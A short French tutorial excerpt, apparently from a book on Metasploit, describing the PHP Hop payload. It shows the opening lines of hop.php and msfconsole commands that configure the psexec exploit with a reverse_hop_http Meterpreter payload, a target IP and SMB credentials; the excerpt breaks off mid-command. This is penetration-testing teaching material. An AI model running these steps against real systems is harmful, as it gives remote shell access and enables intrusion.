PHP Hop PHP Hop

PHP Hop est un payload permettant de faire transiter l’ensemble des communications à travers une connexion HTTP ou HTTPS (un hop point).

Afin d’exécuter cela, il est nécessaire de déposer le code PHP permettant de réaliser le tunneling au sein d’un serveur web accessible et autorisant l’exécution du PHP. Le code PHP se trouve au sein du framework Metasploit dans le fichier /usr/share/metasploit-framework/data/php/hop.php :

root@kali:~# head /usr/share/metasploit-framework/data/php/hop.php  
<?php  
$magic = 'TzGq';  
$tempdir = sys_get_temp_dir() . "/hop" . $magic;  
if(!is_dir($tempdir)){  
   mkdir($tempdir); //make sure it's there  
}  
 
//get url  
$url = $_SERVER["QUERY_STRING"];  
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr 

Une fois le code PHP mis en place, certains modules permettent l’utilisation de payloads de type reverse_hop_http tel que psexec par exemple :

msf6 > use exploit/windows/smb/psexec  
 
msf6 exploit(windows/smb/psexec) > set PAYLOAD  
windows/meterpreter/reverse_hop_http  
PAYLOAD => windows/meterpreter/reverse_hop_http 
 
msf6 exploit(windows/smb/psexec) > set RHOSTS XX.XX.45.235  
RHOSTS => XX.XX.45.235 
 
msf6 exploit(windows/smb/psexec) > set SMBPass Password  
SMBPass => Password 
 
msf6 exploit(windows/smb/psexec) > set SMBUser Admin  
SMBUser =>...
EP2METAS_max.jpg

Découvrez 

le livre :

Aussi inclus dans nos :

Précédent
Tunner l’invite de commande Metasploit
Suivant
Lire la documentation